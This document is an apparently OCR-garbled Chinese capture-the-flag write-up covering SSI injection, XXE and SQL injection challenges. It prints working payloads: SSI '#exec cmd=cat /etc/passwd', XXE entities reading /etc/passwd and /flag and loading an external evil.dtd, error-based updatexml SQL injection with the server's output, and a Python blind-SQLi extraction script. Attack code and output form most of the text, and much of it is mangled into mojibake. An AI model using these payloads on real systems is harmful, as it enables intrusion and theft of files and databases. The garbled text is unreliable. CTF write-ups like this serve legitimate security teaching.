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SimpleServerinjection(40pts)
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@57 iR 55 45 im M 15 22 B <#echo>

ARG AL TR

<!-#echo var="DOCUMENT_NAME"->

PUAERS 8]
<!-#echo var="DATE_LOCAL"->

TR IPHL
<! #echo var="REMOTE_ADDR"->

Q¥ AN BHEAT NSO b <#include>

<! #include file="CfF&H"->

<!--#include virtual="index.html" -->

<! #include virtual=" CfF%FK"->
<!--#include virtual="/www/footer.html" -->
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@ RWEB SRS 5615 B <#flastmod><#fsize> (U SC A4 HI/E H W1k /Neg)

S T H W
<! #flastmod file="CfH4&H"->

SO
<I-#fsize file="CfH4&H"->

@OBEFEAT RS54 _E ST FE 7 <#exec>(UCGIEH At 7] AT H2/7)

<!-#exec cmd="JCH4FR"->

<!--#exec cmd="cat /etc/passwd"-->

<!-#exec cgi="4FE"->

<!--#exec cgi="/cgi-bin/access_log.cgi"->
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A H payload <! --#include virtual="flag" -->
K#E L e BT PAurlgmfid— 1 <! --%23include virtual="flag"-->

® 210.32.4.22/index.php?name=<!--%23include virtual="flag"--> B e Wy Qs

Flag is in the file 'flag’ in this path Your name is EIS{59f2c02f18838b3fb57dd57e2808f9c2}

SimpleExtensionExplorerinjection(50pts)&SimplePrintEventLogger(69pts)
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<l--XMLFHE-->

<?xml version="1.0"?>

<= -SRI E - ->

<!DOCTYPE note [ <!--3EXUL3CHI2 note ZEAIMISCHY-->

<!ELEMENT note (to,from,heading,body)> <!--5& XnotestEAH WA LEK-->
<!ELEMENT to (#PCDATA)> <!--3E X toJjiz N”#PCDATA”ZHA-->
<!ELEMENT from (#PCDATA)> <!--3& X fromjiz /9 #PCDATA? A -->
<!ELEMENT head (#PCDATA)> <!--3E X headsu# /9 #PCDATA” Y -->
<!ELEMENT body (#PCDATA)> <!--3& XbodyJiz A #PCDATAEA--> 111>
<I--HTR-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

DTD

XML 5 A FEXMLA B . DTDICR SR AL E X (Aik) SRt R .
MR BIDTD:

<IDOCTYPE #7tH [HEAY]>

51 AMN5DTD:

<IDOCTYPE #RJCE SYSTEM "CfH4">
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DOCTYPE (DTDH )

ENTITY CSEAAR A BT

SYSTEM. PUBLIC (#Ri#5IHHI1E)
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P B S (Built-in entities)

FIFS4k (Character entities)

il F 244 (General entities)

ZHSAR (Parameter entities)
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IENTITY SHARSHR "SEARNA">

VNI RN

<IENTITY S/RZFR SYSTEM “"URI™>

SRR

IENTITY % SfRAFR "SUEAR">EH<VENTITY % SfA4FR "URI">
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htos:/lolagcsdnng

PHPH™ & tpiX
Scheme Extension Required
https openssl
ftps
zip zip
ssh2.shell ssh?
ssh2.exec
ssh2.tunnel
ssh2.sftp
ssh2.scp
rar rar
ogg oggvorbis
expect expect
security.tencent, com
24451

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]>
<foo>

<value>&passwd;</value>

</foo>
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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>

<value>&passwd;</value>

</a>

2 BRGNS SEAA(2)

XML P 75 % *

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [

<IENTITY % f SYSTEM "http://www.m@3.com/evil.dtd">
%d;

1>

<aaa>&b;</aaa>

DTD A %

<IENTITY b SYSTEM "file:///etc/passwd">

3 EEGIASMIESAR(3)

<?xml verstion="1.0" encoding="utf-8"?>
<IDOCTYPE a[

<IENTITY f SYSTEM "http://www.m@3.com/evil.dtd">
1>

<a>&b;</a>

DTD XA

<IENTITY b SYSTEM "file:///etc/passwd">
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XML.php

<?php

$xml = <<<EOF

<?xml version = "1.0"?>

<!IDOCTYPE ANY [

<IENTITY f SYSTEM "file:///etc/passwd">
1>

<X>&F ;< /x>

EOF;

$data = simplexml_load_string($xml);
print_r($data);

?>

U7 i1 XML.php AT PLis B etc/passwd SO P 25
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<?xml verstion="1.0" encoding="utf-8"?>
<IDOCTYPE a[

<IENTITY % f SYSTEM "http://www.m@3.com/evil.dtd">
%t

1>

<a>&b;</a>

$data = simplexml_load_string($xml);
print_r($data);
PR 45 25 evil. dtd S P 25

<IENTITY b SYSTEM "file:///etc/passwd">

2.4 AT

Php¥A85i ~, xmifiy & 347 ZE R php2s T expectl JE . %4 BRI A %3,
<?php

$xml = <<<EOF

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<IENTITY f SYSTEM "except://1ls">

1>

<X>&F ;< /%>

EOF;

$data = simplexml_load_string($xml);
print_r($data);

?>

3. PIRII/SSRF
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#yit XXE payload 3k 75lag.

<?xml version="1.0" encoding="IS0-8859-1"?>
<!DOCTYPE name [

<!ELEMENT name ANY >

<IENTITY xxe SYSTEM "file:///flag" >

1>

<name>&xxe;</name>

@J Request to http://210.32.4 218080

[ Forward J l Drop J { Intercept is on ] Action

J RawT Params T Headers I Hex ]

POST /www/ HTTP/1l.1

Host: Z10.32.4.21:B080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =é4; rv:£3.0) Gecko/20100101 Firefox/&3.0
Aooept: */*

Aecept-Languages: zh-CH, zh;qgq=0.8, 2h-TW;q=0.7, zh-HE;q=0.5,en-US5; gq=0.3,en;qg=0.2
Accept-Encoding: gzip, deflate

Referer: http://210.32.4.21:8080/www/ index.html

Content-Type: application/xml;

Content-Length: Z0

Connection: keep-alive

<?xml wersion="1.0" encoding="I130-8859-1"7>
<!DOCTYPE nams [
< !ELEMENT nams ANY >
<IENTITY xxe SYSTEM "file:///flag" >
1=
<name>EXxe; </ names:>

Response from http://210.32 4 21:8080/www/

[ Forward J l Drop J { Intercept is on ] Action
JRawT Headers I Hex ]

HTTF/L1.1 Z00

Content-Type: text/plain;charssec=UTF-&
Content-Length: &4

Date: Sun, 18 MNow 2018 05:51:11 GMT

Feceived name: EIS{bceS5IcllEd58%as9472e5%al62cc90e2}
, age: null

B IE
{FFXXE poc: file:/// SR H3%, FKEUEE —Maght 444 flagvvvvvaaaagegsgag2333 , FHiL.

Response from http://210.32 4 21:8080/www/

{ Forward J l Drop J { R T ] E

J Raw | Headers | Hex |

HTTF/1.1 200

Content-Type: text/plain;charset=UTF-8
Content-Length: 19

Date: Sun, 18 MNow 2018 05:53:14 GMT

Received name: .dockerenwv
Irin

hboot

dewr

docker-java-home

Lo

flag




,\flagvvvvvaaaagegsgag:SSS
Trvame———"

lils
libE4d
media
mnt
opt
proc
root
run
shin
SEWV
sYs
tmp
usr
Var

, age: null

Response from http://210.32 4 21:8080/www/

[ Forward J l Drop J [ Intercept is on l l Action J

_JmmIHmeIHa]

HTTP/l.l 200

Content-Type: text/plain;charset=UTF-8
Content-Length: £4

Date: Sun, 18 MNowv 2018 05:54:24 GMT

Feceived name: EIS{£501e8Sc5323c560b0a4019ZceBh7adit}
, age: null

SimpleBBS(61pts)

AR coold , 19FsqlErif)iBf)

SELECT password FROM users WHERE username = 'coold' limit 0,1;

f#1/EError-basediE N, i HICATT L €.
Myis & i f)

coold ' or 1=(updatexml(1l,concat(@x3a,(database())),1))-- coold

A Database Error Occurred

Error Number: 1105

XPATH syntax error: "bbs'

SELECT password FROM users WHERE username = 'coold ' or 1=(updatexml(1,concat{0x3a,(database(})), 1))} " limit 0, 1;
Filename: models/User_model php

Line Number: 11

B E4 bbs



coold ' or 1=(updatexml(1,concat(®x3a,(SELECT concat(table_name) FROM information_schema.tables WHERE table_sche
ma=database()1limit 3,1)),1))-- coold

A Database Error Occurred

Error Number: 1105

XPATH syntax error: "flag'

SELECT password FROM users WHERE username = 'coold ' or 1=(updatexml(1,concat(0x3a,(SELECT concat(table_name) FROM information_schema tables WHERE table_schema—database()limit
3,1)),1)-"1imit 0,1;

Filename: models/User_model.php

Line Number: 11

x4 flag

coold ' or 1=(updatexml(l,concat(®x3a,(SELECT concat(column_name) FROM information_schema.columns WHERE table n
ame=0x666c6167 limit 0,1)),1))-- coold

A Database Error Occurred

Error Number: 1105

XPATH syntax error: "flag'

SELECT password FROM users WHERE username = 'coold ' or 1=(updatexml(1,concat(0x3a,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name=0x666c6167
limit 0,1)),1))—" limit 0,1;

Filename: models/User_model php

Line Number: 11

¥4 flag

coold ' or 1=(updatexml(1,concat(®x3a,(SELECT flag FROM flag)),1))-- coold

A Database Error Occurred

Error Number: 1105
XPATH syntax error: “EIS{7879f0a27d8bcfcffObcc837d76'

SELECT password FROM users WHERE username = 'coold ' or 1=(updatexmi(1,concat(0x3a,(SELECT flag FROM flag)),1))- " limit 0,1;
Filename: models/User_model.php

Line Number: 11

BB —#Rsrflag, Flsubstringy 75 7k 15 Fiflag

coold' or 1=(updatexml(l,concat(®@x3a,substr((select flag from flag),15,23)),1))-- coold



A Database Error Occurred

Error Number: 1105

XPATH syntax error: :8bcfcff0bcc837d7641e81}

SELECT password FROM users WHERE username = "coold’ or 1=(updatexml(1,concat(0x3a,substr{(select flag from flag),15,23)),1))— coold' limit 0,1;
Filename: models/User_model php

Line Number: 11

SimpleBlog(200pts)

TIRIEN

import requests
flag = "'

reg url = 'http://210.32.4.20/register.php’
log url "http://210.32.4.20/1login.php’
ans_url = 'http://210.32.4.20/answer.php’

for i in range(1,50):
for j in range(32,126):
s=requests.session()
payload = "' or if((ascii(substr((select flag from flag),%d,1))=%d),1,0)="1" or '"%(i,3j)
datal = {'username':payload, 'password': 'coold"}
res_res = s.post(url=reg url,data=datal)
log res = s.post(url=log url,data=datal)
data2 = {'1.a':'on'}
ans_res = s.post(url=ans_url,data=data2)

if 'Your grades is @' not in ans_res.content:
flag = flag + chr(j)

print flag

break

SimpleWasmReverse(600pts)

orz... JEGE B —IE 1 [
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